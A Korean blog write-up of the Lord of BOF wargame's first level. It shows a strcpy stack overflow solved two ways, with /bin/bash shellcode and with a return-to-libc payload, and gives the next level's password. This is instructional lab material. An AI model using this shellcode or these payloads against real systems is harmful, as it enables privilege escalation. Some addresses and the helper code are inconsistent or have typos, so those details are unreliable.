일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- BOF
- hacking
- Spring MVC
- stack overflow
- webhacking.kr
- 정보보안기사
- SQL
- 워게임
- Buffer Overflow
- Spring Framework
- OS
- webhacking
- LOB
- 웹해킹
- 정보보안기사 실기
- wargame
- 해킹
- Lord of BOF
- 운영체제
- PWN
- system hacking
- Operating System
- Payload
- 네트워크
- pwnable
- Spring
- Pwnable.kr
- 정보처리기사 실기
- System
- Shell code
- Today
- Total
DongDD's IT
[LOB] Level1 gate 본문
[LOB] Level1 gate
Problem
LOB에 접속하면 처음으로 볼 수 있는 화면이다. 처음 레벨의 아이디와 패스워드는 gate/gate이다. gate로 접속해 어떤 파일이 있는지 확인해보았다. gremlin이라는 소스코드 파일과 gremlin 유저의 소유로 되어있는 gremlin 실행파일이 있었다.
먼저 소스코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 | int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2) { printf(“agrv error\n”); exit(0); } strcpy(buffer, argv[1]); printf(“%s”, buffer); } | cs |
소스 코드는 위와 같이 되어있었다. 먼저 char형 배열, size 256만큼 생성해준다. 그 이후에 프로그램 실행 시 넘겨주는 인자의 수를 확인한다. argc < 2일 경우 error를 띄어주며 프로그램이 종료된다. 인자를 하나 입력해야 되는 프로그램이였다.
그 이후에는 입력받은 인자를 buffer에 strcpy함수를 이용하여 복사하고 printf 함수로 출력해주는 간단한 프로그램이였다.
이 문제에서는 strcpy함수의 취약점을 이용해 풀어야 될 것 같았다.
Solution
해결책으로 생각난 것은 크게 두가지였다.
1. Shell code를 이용한 BOF
Shell code를 이용하기 위해 Stack이 어떻게 이루어져있는지 알아야 한다.
이 프로그램에서는 buffer (256 bytes)를 사용한다. 그 이후에 stack에는 SFP(Stack Frame Pointer) 4bytes, 그 뒤에는 함수 종료시 return되어야 할 주소 Return address가 저장되어있다.
Buffer Overflow를 통해 260 bytes를 dummy값으로 채워주고 return address를 임의로 수정할 수 있다.
프로그램 내에는 권한 상승을 위한 함수가 존재하지 않기 때문에 Shell code를 이용해 권한 상승을 해야한다.
buffer에 '/bin/bash' shell code를 넣고 return address의 값을 buffer의 시작 주소로 수정해주면 함수 종료후 buffer에 저장되어 있는 shell code(/bin/bash/)가 실행되게 할 수 있다.
먼저 buffer의 시작 주소를 알아내기 위해 gdb를 사용해야 한다. 하지만 gremlin 파일을 gremlin 유저의 소유라 gate로는 gdb를 사용할 수 없었다. 소스 코드를 컴파일해 새로운 실행 파일을 만들어줬다.
먼저 buffer의 시작 주소를 알기 위해 strcpy 이후에 break point를 설정했다. 그 이후에 260bytes의 값을 넣었을 때의 buffer 시작 주소를 알기 위해 260 bytes의 더미 값이 들어가 있는 파일을 생성했다.
260 bytes의 dummy값이 들어가 있는 파일을 input값으로 넣어주고 esp를 확인해보았다.
입력 파일의 값이 들어가있는 것을 볼 수 있었다. 입력 값이 0xbffff908 부터 저장되어 있는 것으로 보아 buffer의 시작 주소는 0xbffff908인 것을 알 수 있었다.
그 후에 /bin/bash의 쉘 코드를 이용했다.
/bin/bash 쉘코드(33bytes) : \x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80
buffer의 시작 부분에 /bin/bash의 쉘코드를 넣어주고 260-33(227)bytes만큼의 dummy값을 넣어주고 return address(buffer의 시작 주소)를 넣어주면 buffer의 시작 주소로 return해 쉘 코드를 실행해 shell을 얻어낼 수 있다.
Ref)
LOB bash에서는 bash 버전이 낮아 \xff을 \x00(NULL)로 인식하는 문제가 있다고 한다. 그래서 중간에 0xff가 들어갈 경우 NULL로 인식해 뒤에 나오는 모든 문자열이 무시된다. 그렇기 때문에 bash2를 사용해 문제를 해결해야한다.
2. Return To Library
두번째 방법으로는 RTL을 사용할 수 있었다.
ldd를 통해 ASLR이 걸려있지 않은 것을 확인할 수 있었다.
Ref) ASLR(Address Space Layout Randomization)
- 공격에 대한 방어를 하기 위해 생겨난 기법
- Stack, Heap, Library의 주소를 실행할 때마다 랜덤의 주소에 배치함으로써 공격을 어렵게하기 위한 기법
먼저 gremlin파일과 gdb를 사용하기 위해 생성한 gremmmm파일을 ldd를 통해 확인해보았다.
ldd로 실행할때마다 Library의 주소가 변하지 않는 것으로 보아 ASLR이 걸려있지 않는 것을 알 수 있었다.
이것을 이용해 Library의 원하는 함수를 호출할 수 있다.
RTL에서 자주 사용되는 system()함수를 이용하기로 했다.
위와 마찬가지로 gremlin파일은 gdb를 할 수 없기 때문에 새로 생성한 gremmmm파일을 이용해 system의 주소를 알아냈다. main에 break point를 생성하고 system함수의 주소를 출력했다.
system 함수 : 0x40058ae0
위에서는 Return address까지 설명했지만 여기서는 뒷 부분이 더 필요하다. system함수를 사용하기 위해서는 인자를 필요로 하는데 stack에는 다음과 같이 저장되어있다. return address 이후에 dummy(4bytes)값이 있고 이 후에 return address의 인자를 넣을 수 있게 되어있다.
system 함수에는 "/bin/sh"에 대한 정보가 있을 것이다. system함수에 인자로 넣어줄 "/bin/sh"의 위치를 찾기 위해 프로그램을 작성했다.
특정 문자열의 주소를 찾기 위해 많이 사용되는 방법이다.
Ref link) http://www.hackerschool.org/HS_Boards/data/Lib_system/rtl_sc.txt
1 2 3 4 5 6 7 8 9 10 11 12 | #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { int sys = 0x4005ae0; char buf[256] = "/bin/sh"; while(memcmp((void *)sys, buf, strlen(buf) + 1) { sys++; } printf("%p\n",sys); } | cs |
system함수의 인자에 사용될 /bin/sh의 주소를 찾을 수 있다.
위에서 작성한 프로그램으로 system함수에 사용될 인자 "/bin/sh"의 주소를 구했다.
system함수의 주소와 /bin/sh의 주소를 활용해 문제를 해결할 수 있다.
payload = dummy(260) + ret(system 함수 주소) + dummy(4) + argument("/bin/sh"의 주소)
위 payload를 이용해 문제를 해결할 수 있었다.
************** Answer & Flag **************
1. Shell code 이용
Payload :
Shell code + dummy(227) + ret(buffer의 시작주소)
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"+"a"*227+"\xe8\xf9\xff\xbf"
2. RTL
Payload :
Dummy(260) + ret(system함수 주소) + dummy(4) + arg("/bin/sh"의 주소)
"a"*260+"\xe0\x8a\x05\x40"+"aaaa"+"\xf9\xbf\x0f\x40"
Next ID : gremlin
Next Password : hello bof world
'Wargame > LOB' 카테고리의 다른 글
[LOB] Level6 wolfman (0) | 2018.01.19 |
---|---|
[LOB] Level5 orc (0) | 2018.01.18 |
[LOB] Level4 goblin (0) | 2018.01.17 |
[LOB] Level3 cobolt (0) | 2018.01.16 |
[LOB] Level2 gremlin (0) | 2018.01.11 |